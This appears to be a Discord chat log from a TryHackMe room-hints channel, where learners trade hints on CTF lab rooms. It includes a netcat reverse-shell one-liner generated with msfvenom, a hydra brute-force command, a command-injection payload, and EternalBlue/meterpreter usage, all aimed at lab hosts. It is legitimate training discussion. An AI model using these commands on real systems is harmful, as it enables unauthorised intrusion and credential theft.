@white salmon to get the script
#room-hints
hollow gazelle
crystal glade
@sleek harness you need to capture the login with intercept
Send me screenshot when you do this im on phone so i can't help you so much
I completed it with burp didn't try other method
true widget
i m solving the owasp top 10 room and i m wondering do I need to get a reverse shell in task 6 or exploit it using command injection only
floral valve
🤔 today's challenge is interesting
autumn rivet
anyone done with today's OWASP challenge?
floral valve
yeah i'm done with it
autumn rivet
I found the exploit and tried to paste it in the textbox in Contact page but the only input I saw when going through the code was target url
floral valve
not sure if that is the intended way to complete the challenge lol
autumn rivet
I'm missing something? Input or the place where I'm inserting it?
velvet talon
I'm missing something? Input or the place where I'm inserting it?
@autumn rivet look at Task 29 again, same method, different exploit
floral valve
Not sure what's the issue you have faced. Based the exploit, it seems to be quite straight forward
autumn rivet
look at Task 29 again, same method, different exploit
@velvet talon thanks
true widget
can anyone give me hints how to escalate priveleges in task 6 command injection practical?
velvet talon
can anyone give me hints how to escalate priveleges in task 6 command injection practical?
@true widget you dont have to for the flags
true widget
we can read the contents of|| /etc/passwd||so shall i brute force ssh?
coz i dont have the permissions to read the contents of root directory
velvet talon
are you aiming for the last flag?
cuz i dont think you have to do anything with the root dir
true widget
nope looking for the strange file in websites root directory?
true widget
so i didmt had to get a reverse shell?
velvet talon
not really, but it doesn't hurt 😄
velvet talon
its enough to use the input box of the website
true widget
okk i ll try
i couldnt read it from the website when i tried earlier or i might be doing something wrong
crystal glade
What room is it?
velvet talon
owasptop10
velvet talon
i think you still aim for the /root dir.. 😄
the root dir and the website root dir is different, it refers to the webservers root directory
from where the evilshell.php runs basically
pseudo hamlet
hello guys doing ljnux ctf room stuck in task2 #4 it says check in crontab i check but it didnt show the flag
plss help
oblique cliff
Linux challenges room?
pseudo hamlet
yes
oblique cliff
There are multiple places for cron jobs to be shown. Try to enumerate and find some more 🙂
fathom jolt
can some one explain to me how || login.js works in overpass room ||please
stuck fractal
You don't do authentication clientside so you really don't have to know how the login script works
fathom jolt
ow thanks ❤️
oblique cliff
get rid of that last word of your reply before he sees 😱
fathom jolt
@oblique cliff mine ?
stuck fractal
I saw
tidal sedge
👀
oblique cliff
fathom jolt
caught 😩
imagine giving ur heart while 3 days to overpass rooom and still where I start 😿 💔
warm sierra
Need a hint with ||.xaa|| file in CC : Pentest
i tried dirb and gobuster but doesnt give me anything
any other wordlist i can use ?
stuck fractal
Don't just scan in the directory you found. Scan on /.
stuck fractal
The extension argument for gobuster, you use -x php not -x .php
oblique cliff
youre also looking for the extension xaa when you should be looking for the extension xxa
warm sierra
@oblique cliff I did use -x xxa... just a typo i made here
oblique cliff
yea then if youre running it on the correct directory it should find what youre looking for 🙂
stuck fractal
Correct dir and correct VM
warm sierra
what wordlist do i use ?
warm sierra
i tried dirb and gobuster
warm sierra
dirb i tired the dirb wordlist
oblique cliff
if you show us the command youre using we could help you more @warm sierra
screenshots
keen rampart
Can anybody help me with creating a reverse netcat payload
please
this is my syntax:
msfvenom -p cmd/unix/reverse_netcat lhost=10.11.12.141 lport=4444 R
oblique cliff
and what happens when you do that? @keen rampart
keen rampart
This is my output:
mkfifo /tmp/zueh; nc 10.11.12.141 4444 0</tmp/zueh | /bin/sh >/tmp/zueh 2>&1; rm /tmp/zueh
but when I run it, my netcat listener doesnt pick anything up
this is specifically the network services room, and exploiting telnet
whats weird as well, when i run a ping using:
ping ip -c 10, my tcp dump picks nothing up
almost as if theres a firewall in the way
heavy anvil
you tried pentest monkey?
warm sierra
@oblique cliff gobuster -e -u <box-ip> -w /usr/share/wordlists/dirb/common.txt -x xxa
keen rampart
pentest monkey?
heavy anvil
search pentest monkey reverse shell cheatsheet
keen rampart
just found it
thank you
will try that
same effect
I think it could be a firewall or vpn issue
stuck fractal
Is your VPN running directly on Kali?
keen rampart
yes
stuck fractal
Should be fine then
keen rampart
hmm
stuck fractal
Make sure you prefix stuff with the prefix tho
Otherwise it won't run the commands
keen rampart
what do you mean?
keen rampart
ok
final mortar
You can only search for file extensions in dir mode, make sure to include dir @warm sierra
gobuster dir -u <box-ip> -w /usr/share/wordlists/dirb/common.txt -x xxa
wind fog
hey lads
can someone give me a hint to how I can find shiba3's password
The room is learn Linux btw
stuck fractal
So, it actually tells you what you need to do
There's a condition
You need to make that condition true
Then run the binary
stuck fractal
None of those
because those are files
And you need to look in your home directory
wind fog
ah
warm sierra
@final mortar thanks got it
rocky mist
hi 🙂 someone knows the answer to lord of the root room task 2 #6? "What's the method to exploit the system for privilege escalation called?" I complete everything except that, thanks!
stuck fractal
We do not give out answers.
rocky mist
just a hint 😉
rocky mist
I did, and I didn't find anything good for the overlayfs exploit... maybe they aim to another exploit?
tidal sedge
There are multiple ways to root that box(unintended)
oblique cliff
there are some weird files on the box itself that was the intended privesc path, look into what kinda exploit you couldve used to take advantage of thoes
marble dagger
need a hint for OWASP Day 8 Who developed the Tomcat application Googled around, but I can't find something that fits the answer 😩
velvet talon
Yeah, that was a tricky one.. 😄 Don't go for one specific person
warm sierra
Bruh can anyone help me with Sqli in CCPentest ? .... i finished the whole thing except the sqli part
marble dagger
@velvet talon hmmm, ok. so I'm not looking for a person. well the question is a little misleading then ...😄 will try harder then
warm sierra
Bruh can anyone help me with Sqli in CCPentest ? .... i finished the whole thing except the sqli part
Anyone ??
oblique cliff
@warm sierra do you have a more specific question than that?
velvet talon
@velvet talon hmmm, ok. so I'm not looking for a person. well the question is a little misleading then ...😄 will try harder then
@marble dagger it is indeed, i would check the details of its release
rocky mist
there are some weird files on the box itself that was the intended privesc path, look into what kinda exploit you couldve used to take advantage of thoes
@oblique cliff I found another way to exploit, i manage to exploit with it but again I cant find the right answer :\
oblique cliff
right, i know. You need to go explore the box a bit more and check what the intended privesc path was
in order to answer that question
rocky mist
alright, thank you!
odd panther
Quick question, is there a way to use msfconsole as just a listener? (its needed) (not shell and listner) I generated a payload via msfvenom but need to catch in msfc
odd panther
yeah there all run the reverse_tcp bit too (i don't need that aswell) why i'm asking, thank you for the respose
stuck fractal
That sort of question, not relating directly to a specific room, goes in #general @odd panther
odd panther
Very good point thank you. will do so
marble dagger
@velvet talon must be blind. Can't find it. but the main problem is probably that I don't really know what I'm looking for 😫
dense pike
@marble dagger The first letter is|| 't'||
velvet talon
@velvet talon must be blind. Can't find it. but the main problem is probably that I don't really know what I'm looking for 😫
@marble dagger check out the license of the software
Or a better one, usually the founder claims the copyright of its software 😄
marble dagger
@dense pike @velvet talon I feel like I'm in a deep rabbit hole now. last thing I got was something including a countries name. It alomst looked right. but it wasn't
toxic scarab
it's also not the original developer. You're looking for the current developer
dense pike
Just search for the ||wikipedia page|| @marble dagger
Prefix it with a word starting with ||t||
stark reef
For the overpass room, can you guys give a hint to what owasp vuln I'm looking for?
obtuse gust
hey guys,im on the basic pentest room and stuck a bit with #6 What is the password?
hydra -l J** -P /usr/share/wordlists/rockyou.txt -w 20 -f -t 15 -vV 10.10.116.204 -s 8080 http-get /manager/html
but the 'easy' password dont drop...
when i spoil too much, then lets write directly
trim haven
Are you supposed to brute for on that room?
distant grail
I don't remember bruting on it
obtuse gust
its the easter egg
trim haven
Easter egg??
obtuse gust
... hint
trim haven
Well your command seems very wrong
trim haven
Hold up
You're brute forcing the wrong place
In your command you're brute forcing /manager/html which is entirely wrong
You need to brute force ||ssh||
obtuse gust
ah , okay then i give gobuster another shot
trim haven
No.
You're not reading.
You have the username, you just need to brute force the correct place.
||ssh|| is not a directory.
obtuse gust
okay, didnt read the spoil. thx for helping!
stuck fractal
Also lowercase
stark reef
Any hints for the root part too? 😅 (of overpass)
stuck fractal
Check the room tags
Run some enum scripts
Think about what you can and can't control
odd panther
it's also not the original developer. You're looking for the current developer
@toxic scarab Needed that thanks!
fallen widget
Doing OWASP Top 10 Task 21 Day 7 Cross-Site Scripting #2 says go to 10.10.227.70/reflected and craft a reflected XSS payload that will cause a popup saying hello, but this is what I get when I go to the website in my kali machine. Is this the expected behavior?
fallen widget
Thank you
oblique cliff
for blog should I be ||brute forcing the wp login or will i be waiting a long time cuz the password isnt in rockyou?||
stuck fractal
Have you tried it?
There's 2 users. Maybe you can get into at least one of them in under 5 mins
oblique cliff
alright cool, im starting the scan now i just wanna make sure i wasnt gonna waste 20 minutes waiting for something to finish that never will
oblique cliff
I feel as though I've been lied to. (waited 10 minutes on the other user and nothing as well) ||Should I not be using rockyou?||
never mind it worked, it just took 8:05 cuz my computer is a slow boi
final mortar
I don't think it has anything to do with your computer. It took me around 6 minutes too
wraith tapir
What wordlist did you use?
marble dagger
still looking for OWASP day 8 #1 who developed the tomcat application already got hints yesterday, but I'm still too stupid to find a answer that fits 😩 alreayd lokked on numerous pages including ||wikipedia||
marble dagger
getting OWASP Day 9 took me less than 10 minutes. but I'm still stuck with Day 8 Task #1. this is getting frustrating 😄
heavy anvil
search the question in google and it will pop up
marble dagger
@heavy anvil already did that, for developer of vim that is. nothing that fits. I'm obviously bad at this 😄
heavy anvil
well its not a single person its a team
and the number of astricks for the answer of the question is not correct as long as I can remember
heavy anvil
right just search the question exactly as it is on the google
marble dagger
thanks guys. i'm so stupid. got it now 😊
narrow herald
Hey can i share the writeups i write here? I am new here
rancid crystal
Hey can i share the writeups i write here? I am new here
@narrow herald instead submit those in the rooms and let the room creator decide?
hollow gazelle
@narrow herald or you can submit them in #thm-community-media
oblique cliff
After it’s been approved by the room creator ^
slate swift
Hey guys, last question of Day 4 for Advent of Cyber.
I'm guessing I need to look in the /etc/shadow file but says access denied as the mcsysadmin user.
Anyone got a little clue they can give?
oblique cliff
What Room? (Link, Room title, room code from URL)
What Task? (Give the number!)
What question? (Number, maybe also basic details)
What have you tried?
What happened?
What didn't happen?
What did you expect to happen?
A picture paints a thousand words. Don't type a thousand words. Screenshots are awesome. Photos of your screen are not.
(If you want to paint a picture, we'll be impressed but a screenshot is really better)
@pseudo hamlet
pseudo hamlet
Room:-Linux Challange task4 #7
oblique cliff
@steady stratus can you pin that in this channel too so I don’t have to copy paste whenever I use it here?
oblique cliff
Yea in room help. But I have to copy paste it over and it’s annoying on my phone
slate swift
@oblique cliff need more info from mine?
steady stratus
As it's #room-hints @oblique cliff i'd be inclined to say no (to copy and pasting the formatting expected in #room-help) (although I absolutely see your reasoning)
People who come here should have a different formatting to their question like:
- What room
- At what stage are they stuck exactly?
- What have they tried so that we can give a hint for something they haven't already tried
Anything further then that should go in #room-help imho
oblique cliff
@slate swift I haven’t done that room, but to look at the shadow file you need to be root. So you need to get root access in order to do that task it seems (unless the shadow file has weak permissions on that machine)
steady stratus
ofc you guys are the ones on the ground so, I take your word greatly (:
oblique cliff
@steady stratus thats fair, can you pin that then? 😅
No I just want something that’s easily referenced from my phone haha. Cuz I usually go to room help, find the pin, copy, come back here and paste
oblique cliff
That’d be appreciated 🙂
steady stratus
#room-hints is here for people who want a "pointer" towards the room they are completing, and not necessarily a spoiler. As such, when asking a question, be sure to include:
- What room you are on
- At what stage are you stuck exactly? Enumerating? Exploiting? Priv esc?
- What techniques / tools have you tried so far? Just so that we know how to hint you in the right direction without repeating what you've already done
white salmon
Can someone give me a hint on the last challenge of task 5 of room Agent sudo? Its a bonus challenge. ||Who is agent R?||
steady stratus
<#690557518837186560> is here for people who want a "pointer" towards the room t...
slate swift
It's a basic room, this task covers using la, cat, grep. I don't think it's meant to require privesc.
Hmmmm, anyone else done the Advent of Cyber room and can provide a hint?
Day 4 - Q7
white salmon
@white salmon See if you can delve a little deeper into the whole theme of the box.
You might be able to find a file somewhere that might mention his real name
oblique cliff
@slate swift have you checked the permissions of the shadow file then?
white salmon
Hm..ok i would do that Thankyou, if i cant find it can i come back and ask again?
Yeah, sure
It's a basic room, this task covers using la, cat, grep. I don't think it's meant to require privesc.
Hmmmm, anyone else done the Advent of Cyber room and can provide a hint?
Day 4 - Q7
@slate swift You can google how to do THAT thing, there will be commands on the internet and just try and you will be able to get it right, its very easy
Also actually, @white salmon, if you've already solved #2 of Task 5, then it should also be there I think
slate swift
@oblique cliff permission is ---------- 1 root root
@smoke google seemed to suggest that the password is hashed only at creation and stored in the shadow file. Are you saying since I know the password I can figure out the hash?
oblique cliff
yea, im pretty sure you stumble upon the name along the way if youre doing that room @white salmon @white salmon
white salmon
@oblique cliff permission is ---------- 1 root root
@smoke google seemed to suggest that the password is hashed only at creation and stored in the shadow file. Are you saying since I know the password I can figure out the hash?
@slate swift if you know the hash you can crack it using hashcat
oblique cliff
its asking for the hash itself, not the password
white salmon
Oh yes i am sorry
oblique cliff
im looking at the room to get a bit more info @slate swift give me a sec
slate swift
Tah
white salmon
@slate swift did you read the documentation they gave?
The answer is there, its very straight forward
your answer is right here
make sense of it and apply it and you will get the hashed password
slate swift
Hmmm, okay, let me poke around
white salmon
mhm
oblique cliff
yea, smoke gave adequate hints, you should be able to solve it now 🙂
slate swift
OMG, wow. 🤯 I was really over thinking.
I was like surely it doesn't mean look for what I think it means everywhere.
Yes it does. Wow. Hahaha.
dense pike
I'm following along with the official writeup for year of the fox and am stuck on the RCE step. The guide shows using the following command to get the remote host to ping my machine ||{"target":""; ping 10.9.58.: echo""}||. However when running that I don't see any echo packets via wireshark. Am I doing something wrong with the command? (ip redacted) edit: I changed the command to ||{"target":""; ping 10.9.58.; echo""}||, I don't get a response in burp and still no echo responses either.
wind fog
hey lads
how exactly am I meant to find shiba4?
All I can find is a directory named shiba4
which isn't a .bin file
the room is learn Linux btw
dense pike
@wind fog Are you searching for a directory or a file? What command are you using?
wind fog
find shiba4
and I think I'm meant to find a bin file
though there is none that I can find
wind fog
i can't run shiba4 though
stuck fractal
You assumed it had an extension
dense pike
@wind fog What's in the directory?
oblique cliff
Use find to look for things of type file
theres a lovely room called TheFindCommand which will help with that if you need some assistance 🙂
crystal glade
find / -name shiba4 | grep shiba4 | grep shiba4
oblique cliff
you can use the find command to search for something of name shiba4 of type file
crystal glade
Try this
oblique cliff
right now youre in a directory called shiba4, thats different than a file @wind fog
yea what
stuck fractal
And it still doesn't filter error messages
stuck fractal
Which is the only filter up need @crystal glade
wind fog
and ran find shiba4
stuck fractal
That's not how find works
wind fog
wdym?
stuck fractal
I mean that you misused find
oblique cliff
https://tryhackme.com/room/thefindcommand @wind fog I'd, again, recommend completing this
dense pike
great room!
stuck fractal
And looked for all files in currentDir/shiba4/ @wind fog
That's what that command did.
oblique cliff
https://tryhackme.com/room/thefindcommand @wind fog I'd, again, recommend completing this
@oblique cliff this one
stuck fractal
You have to learn how to use find
crystal glade
@stuck fractal I used like this but it's looking wrong so probably i need to complete find room
oblique cliff
astute observation
stuck fractal
You shouldn't be piping find into grep like that
oblique cliff
better to be using it correctly than to be hacking together something that sometimes works when find is built to work better
dense pike
So on YOTF, I'm trying to get the remote host to ping my system. The command is: ||{"target":"";ping 10.9.58.***;""}|| which is in multiple writeups. That's my tun0 ip and I do have access to the search page. I'm really not sure what I'm doing wrong at this point. I'm still not capturing any ping traffic in wireshark.
stuck fractal
Wireshark capturing on tun0?
dense pike
Thanks!
stuck fractal
Otherwise you just get encrypted traffic
white salmon
I need help with the bonus challenge in room Agent Sudo, its task 5 question 3. I tried but cant get anything
oblique cliff
@white salmon enumerate more
its on the machine
look at all the files, read the files
white salmon
OMG
i got it
i am so blind
wow
Thanks alot for your time, i appreciate it @oblique cliff
oblique cliff
yay, congrats 😄
pseudo hamlet
hello guys im coping a file from victim to my my THM machine using SCP but it says permission denied
stuck fractal
Screenshot
pseudo hamlet
stuck fractal
Ok, you wanna break that command down for me? I wonder if you can spot your mistake
scp [options] source destination
pseudo hamlet
simple word plss
stuck fractal
So
Your current command
is copying a file from alice@10.10.114.139:/home/alice/flag32.mp3. Where's it copying it to?
pseudo hamlet
im copying to /root direc in my sys
pseudo hamlet
yes
stuck fractal
You're copying the file from the machine to itself RN
pseudo hamlet
ok
stuck fractal
You haven't told it to copy to your machine
pseudo hamlet
i also have to add my machine ip add
stuck fractal
There's a better solution
You can just run that SCP command on your attacking machine
Because you specified exactly where to get the file from
pseudo hamlet
hello guys Stuck in Linux Challenge room Task 5 #4 dont know to recover flag from .mp3
do google search but didnt find anything
trim haven
Have you listened to it?
trim haven
I'm sure there should be, I've never used it.
steady stratus
yes ^ the in-browser doesn't convey sound so well unfortunately
if you can find a way to download it to your host as boblo said
you'll get the answer you need
oblique cliff
I prefer “blabla” 👀
white salmon
I pronounce your name as "bob-lob-law"
white salmon
i am a master of tongue twisters
i'm gonna hack into your blog and delete my traces, so that way you can't find me via your bob lob law blog logs
wraith tapir
I tried saying that lol
maiden flower
Anyone have ny hint to offer on the submission of the user flag for the jeff room please?
wraith tapir
Anyone have ny hint to offer on the submission of the user flag for the jeff room please?
@maiden flower MD5
oblique cliff
but the bob loblaw law blog logs are super secure (i couldnt think of a good tongue twister to keep in going, sorry)
wraith tapir
the full string and just the bit in the braces
@maiden flower braces
maiden flower
pretty sure I tried this but will go again
yes I had tried this its having none of it 😦
can I PM @wraith tapir just for my sanity here
wraith tapir
Yeah no prob
wind fog
can someone please help me with this?
I've done every thing else in the room and am stuck on this
I have no clue how to find the answer
white salmon
Did you find the binary?
white salmon
You'll have to use the find command to locate the shiba4 file
stuck fractal
Then you're using it wrong still
oblique cliff
you didnt do the room thefindcommand did you?
wind fog
i did
oblique cliff
cuz youd know how to find it if you had
wind fog
most of it anyways
oblique cliff
do all of it
white salmon
Remember, it's a binary, so it's a file
How do you use the find command to only look for files?
stuck fractal
And no one said it's in /home
wind fog
is it in root then?
white salmon
Well, we don't know
wind fog
find -type f
white salmon
that's why you gotta search the entire system ;)
tidal sedge
Remember, it's a binary, so it's a file
@white salmon Technically speaking everything is a file on Linux. 😉
white salmon
@tidal sedge All directories are files but not all files are directories
stuck fractal
please someone just give me a hint 😭
@wind fog Use find. On the whole system. Looking for files. With the right name.
oblique cliff
and what exactly youre searching for
oblique cliff
thank you barack
tidal sedge
white salmon
If that's true, then why does find -type f never show directories? 
wind fog
like this?
stuck fractal
No
wind fog
damn
stuck fractal
You know how to look for files with a certain name
wind fog
🤔
stuck fractal
keep trying
wind fog
-name?
oblique cliff
how closely did you pay attention to the room the find command?
stuck fractal
Read manuals
wind fog
?
oblique cliff
try it and find out
oblique cliff
1 you can filter out the permission denied
2 they dont all say permission denied
wind fog
hmm
white salmon
Try adding -xdev 2>/dev/null
wind fog
-readable?
stuck fractal
I really recommend not bruteforcing #room-hints for answers
And reading the manuals and doing the research on how to do things
wind fog
Try adding
-xdev 2>/dev/null
@white salmon thanks man
I really recommend not bruteforcing #room-hints for answers
@stuck fractal I know, this was my last resort, I've been on this single question for hours now
and am quite desperate for an answer
stuck fractal
Yeah, except once you've been given the hints you should keep trying yourself
white salmon
hey guys help plz lmao
im stuck on the linux room
and it asks to create and run the noot.txt file
stuck fractal
It doesn't say run the noot.txt file
tribal olive
you have one executable file
stuck fractal
The ablist slur.
white salmon
sorry
stuck fractal
If it's FTP, switch to an EU VPN server
tacit owl
okk
stuck fractal
it's a platform issue that's being investigated
white salmon
damn youre smart, he didnt even ask the question yet
A lot of people have the same issues usually
stuck fractal
You can complement me all you want, still not going to let you use the slur 😉
white salmon
not what im trying ot achieve lol
I get it wont curse here
also i got mine working ty
stuck fractal
Reading the question is incredibly important
Sitting back, and applying some logic is too. Why would you be able to run an empty file that you just created and somehow get a password?
white salmon
idk lol
stuck fractal
Exactly
white salmon
i just want sure what binary - this is my first room
stuck fractal
It lists it
white salmon
true
stuck fractal
If you read the room, including task titles
Reading is a key skill
Without reading the question and the info you're given, it's going to go badly for you
tacit owl
looks like EU vpn works awsome thank you
wind fog
@white salmon hey sexy :0
white salmon
hey
wind fog
wanna be friends?
white salmon
ugh
stuck fractal
No
stuck fractal
Because ubuntu doesn't normally have a root password
@white salmon We do not give out answers, so that's false.
white salmon
oh k
white salmon
linux
wind fog
learn linux
white salmon
first room
grizzled lichen
wdym no password, u should've been root already
stuck fractal
Nope.
wind fog
grizzled lichen
just a sec
wind fog
nope, so, any idea how to access the file then?
white salmon
That's what you'll have to figure out :)
wind fog
white salmon
Maybe the password isn't the key
wind fog
but... but... they never told me
white salmon
There's other ways besides passwords to get to root
wind fog
😪
grizzled lichen
Hold on, i had to get to that room
white salmon
Unfortunately, you're going to have to figure a lot of things out for yourself
That's part of the fun of penetration testing, though.
grizzled lichen
Did u get to the point where u switch to nootnoot user?
wind fog
what's that?
white salmon
It's a Linux Enumeration script
It'll basically scan the entire machine for you, and tell you some obvious attack vectors and vulnerable things.
wind fog
yeah
tribal olive
You need to use the knowledge from previous tasks
stuck fractal
Not all of the users
white salmon
Usually the first thing I do when I gain access to a user and password, I always check sudo -l btw
It's a quick and easy way to find privilege escalation ;)
grizzled lichen
@wind fog ah now i remember
wind fog
none of them can run root
wind fog
ah, what worked?
stuck fractal
none of them can run root
@wind fog wat
white salmon
Not sure if you really checked all users.
white salmon
Remember, not all the users are just shiba
grizzled lichen
The hint im gonna give u is to use find command
wind fog
oh true
grizzled lichen
And look through files owned by shiba users
white salmon
stuck fractal
Maybe you can find creds for one of those
wind fog
grizzled lichen
u need nootnoot
wind fog
how do u find the password for them?
stuck fractal
By looking
tribal olive
look for suspicious files
stuck fractal
or at least, out of place files
grizzled lichen
actually now when i remember how much i tryharded for this
i gotta forget it somehow
oblique cliff
any hints for blog privesc? the ||SUID for checker can't really be taken advantage of that I can see||, then I found ||the password for bjoel, but thats for the wordpress site, not his actual account|| and I can't find anything else that's interesting to me
grizzled lichen
what file
stuck fractal
@oblique cliff Do some RE on the binary
wind fog
oblique cliff
@stuck fractal oof thats what i thought it was gonna be, thanks
white salmon
@oblique cliff remember everything I taught you1!!!
Blog was what made me actually get into RE
stuck fractal
@oblique cliff Ultra basic RE, like chuck a decompiler at it
grizzled lichen
find / -user <username> -type f
worthy iris
with the hackpark thing, is there a specific way to reverse image search on firefox? cos saving the image and then using google image search isnt giving me the answer
oblique cliff
oh damn yall are making me nervous if i dont figure it out now
grizzled lichen
use this
white salmon
oh damn yall are making me nervous if i dont figure it out now
@oblique cliff no pressure 👀
white salmon
It sends the output of everything you don't want to see into /dev/null
which is a fancy word for the trash
(actually more like a void i guess)
wind fog
damn, I'm glad I finally have a fancy name to be called
white salmon
The real purpose of /dev/null is that it's a file that you can send input into, but the output literally just doesn't exist.
grizzled lichen
white salmon
So it basically eats any input you send into it, and nothing comes out.
wind fog
ah, interesting
stuck fractal
how does that command work though?
@wind fog It's not really a command
You're redirecting the output like you've done before
grizzled lichen
cat it
grizzled lichen
@wind fog any progress?
grizzled lichen
Let me explain u
by using the find command
u are looking for files out of place
owned by each user
wind fog
the find command didn't give me anything though
grizzled lichen
for example
grizzled lichen
mostly users make files in their home directories
look for files that arent made in that dir
hint:
||shiba2 user||
stuck fractal
No
tribal olive
not that user
wind fog
ah
tribal olive
yes
wind fog
oof, lemme take another look
white salmon
grizzled lichen
output is like
as far as i remember
only 15ish files so it really shouldnt be hard
grizzled lichen
u use that dir before in a task i think so no
wind fog
here are some of them
stuck fractal
One of those looks suspicious to me
white salmon
You can ignore everything in /proc/ tbh
grizzled lichen
Yea totally smth suspicious there
wind fog
.profile? 🤔
oblique cliff
@stuck fractal got it, thanks :D
embarrassingly the thing i ended up asking for help on was transferring the file to my kali machine cuz i thought you needed write permissions to do that, but you only need read permissions 🤓
@white salmon thanks, as always
oblique cliff
oh i just did a regular python server and wgetted it
stuck fractal
SCP best
white salmon
You can also just navigate to the ip-address:port with your web browser once you've opened up a HTTP server
and navigate the entire machine like a directory
(and download files directly from web browser)
grizzled lichen
just by clicking
white salmon
You could host a ruby HTTP server 
wind fog
this maybe?
grizzled lichen
cat it
wind fog
perm denied
grizzled lichen
ls -la?
white salmon
tough time
grizzled lichen
and u are? shiba4
grizzled lichen
distant grail
wind fog
stuck fractal
name 3 others
@oblique cliff Netcat, http servers, upload via FTP, upload via SMB, base64 encode and copy text
oblique cliff
hey i said 3
stuck fractal
And I disregarded that guidance
oblique cliff
scribbles down in notes
white salmon
i forgot you could transfer files with nc
oblique cliff
id say i forgot but i never knew
wind fog
alright, I'm lost, I'm now in nootnoot but am still unable to access root and haven't got a clue where to go from here 😪
wind fog
sudo?
stuck fractal
Try things.
wind fog
damn, i'll try
white salmon
remember me when you become a millionaire
valid rune
@wind fog well good luck with that task .. it took me 3-4 days to barely solve it.
i only finished it yesterday.
wind fog
yeah, i would have been on it for weeks if I didn't have help
i got the concepts, just not how they related to one another
white salmon
yay people my level
valid rune
it's pretty hard this one i'll tell you. you reaaally need to focus and don't give up.
i felt so frustrated at this task, but did some research, and did other rooms (i grew more knowledge on other things too), and still didn't get it without the hints that were provided here.
but trust me .. this task will teach you how to navigate through linux comfortably.
torn pine
Room: Powershell Scripting - Task 3, Question 3 "How many cmdlets are installed on the system(only cmdlets, not functions and aliases)?"
Why is this not ||7935||?
stuck fractal
You're not filtering correctly
bronze ivy
Is this room broken on task 8? https://tryhackme.com/room/xss
Or is it looking for something very precise?
stuck fractal
yes and yes
wind fog
hey peeps
how would I use the search command if I wanted to search for a file which contained what i was looking for
for example I'd like to find any file containing flag in it's name
stuck fractal
That sounds like a question for google first
And a recommendation to redo the find room
stuck fractal
!rule 13
proud scarabBOT
Rule 13: When asking for help/tech support please perform research to your fullest ability. Mods and Community Mentors have the right to refuse helping those who have not done troubleshooting/research on their own first. Clearly phrase your questions as we (fortunately for all parties involved) cannot read your mind. Please include the room, task, and question number in your question if possible.
wind fog
alright
could you tell me if my current try is wrong of if there is nothing containing flag at least?
stuck fractal
Why not create a file and try for yourself?
wind fog
alright, im going to assume that it i did it wrong
valid rune
Inspect the flag21.php file. Find the flag.
do i need to download anything ? most of them say that i would need to use the command ||PHP|| which requires me to download a ||PHP|| program.
white salmon
I'm not sure what site/"old friend" this is referring to in the Burp Suite Room Task 11 #1. Could I get a little nudge in the right direction. (I also don't believe it is in the deployable machine's website, but I could be wrong).
ashen matrix
Its referring to the juice shop still. There is no second site
Just explore the website and you should come across it unknowingly
ashen matrix
And old friend is referring to a system with Burp. Make sure you read the previous parts as to what the old friend could be
white salmon
I am very new to cyber security (passed my Sec+ this month) I am really stuck on this question in the "intro to research" room. I have completed every question except this one. If someone could point me in the right direction I would be very thankful.
The question is "If a password hash starts with $6$, what is the format it is (Unix Variant)"
I know the hash is || SHA-512 || but im not sure what it means by "What format is it"
The hint that follow with this question is || cry ||
I'm so lost D: second day scurrying the internet for this answer.
stuck fractal
It's not quite sha512
Sha512 doesn't have a prefix, is typically hex output, and doesn't have a salt when it's purely sha512
it's related to sha512
white salmon
So would it fall under crypt(C)?
stuck fractal
That's the library that is normally used to implement it
white salmon
The way I got where i am is by searching a hashcracker and looking at examples, from that I concluded that it was most likely SHA-512. From there, I looked up SHA-512 and "Unix Format" which led me to the wiki for Crypt(C). Not sure if im going in the wrong direction
stuck fractal
It's not quite sha512, as I said
Crypt provides unix hashing functions like md5crypt which are used in /etc/shadow or /etc/passwd
Ok that's actually a fairly big hint
white salmon
thanks man! I think I got it.
final sluice
help with owasp top 10 day 3 task 12 voucher? i found the hint pointing back to the main page but i cant figure anything out
cosmic phoenix
My dudes, I'm doing the Hydra-ha-ha-haa challenge from the Christmas room. Any hints on how to find the username?
stuck fractal
@final sluice you'd have had to email the email on the home page
@cosmic phoenix you're told the username
cosmic phoenix
Is that a hint?
final sluice
ah, I kept thinking about doing that but i kept thinking that was too simple derp
cosmic phoenix
Oh that's it ? Alright great. Thanks James
buoyant dust
Hi can I have a hint for the privesc on GateKeeper ?
I ran winpeas and windows-exploit-suggester but I'm still stuck.
oblique cliff
1 hint is read the room description
2 hint is look for stuff that isn’t installed by default on the machine
buoyant dust
so with the .lnk file, I'm on the right track ?
oblique cliff
What lnk file
buoyant dust
Fifrefox.lnk on the Desktop's user
oblique cliff
Explore it and find out 🤷🏿♂️
buoyant dust
aight thanks 😉
oblique cliff
~~google is your friend here ~~
twilit junco
in room "Burp Suite" task 6, section 7: Defined in RFC 6455 as a low-latency communication protocol that doesn't require HTTP encapsulation, what is the name of the second section of our saved history in Burp Suite? These are commonly used in collaborate application which require real-time updates (Google Docs is an excellent example here).
can find this info, not even on the hint site
omg, sorry... im just blind
wind fog
hey guys
can someone give me a hint as to which two files this is refering to?
the room is linuxctf task 2
oblique cliff
@wind fog what have you looked for
It’s not meant to be a trick it’s very straightforward which two files
wind fog
I'm not really sure what to look for
i've search for files which might stand out but found none
oblique cliff
What files are in your home directory
final mortar
cd ~ brings you to your home directory, or just cd
oblique cliff
No problem
@final mortar imo if you just tell people that command they don’t learn what that means and understand that ~ brings them to the users home directory
That’s why I try to ask leading questions a bit more. Again, just my opinion but I feel like that helps people a bit more
final mortar
Yeah I mean I read what you were helping with just supplemented the info
wait I can improve it
oblique cliff
Better 🙂
final mortar
That’s why I try to ask leading questions a bit more. Again, just my opinion but I feel like that helps people a bit more
btw you know I do that 🙂 don't you 😦
oblique cliff
I know, you’re awesome with help! I just saw you give the command right there
No worries
sonic fox
am i missing something with the exploit(windows/smb/ms17_010_eternalblue) in msfconsole? it is stuck on [*] 10.10.46.84:445 - Sending all but last fragment of exploit packet. its for the eternalblue room
sonic fox
oblique cliff
Try different payload
final mortar
try with windows/x64/meterpreter/reverse_tcp
sonic fox
i didn't select a payload. guess i missed that. set payload windows/x64/meterpreter/reverse_tcp
still not finishing the connection it seems
final mortar
can you give it some time to finish
sonic fox
ya i have been waiting about 5-10 mins during each try. so wait longer?
sonic fox
same thing. wonder if i made it unstable
oblique cliff
Like seconds
Update your metasploit
And then if that doesn’t help reboot the box
final mortar
ya i have been waiting about 5-10 mins during each try. so wait longer?
@sonic fox you changed the payload and waited 10 mins, I just suggested it 1 min ago
oblique cliff
And if that doesn’t help show us again
sonic fox
no it still running
final mortar
It's supposed to take longer at that stage
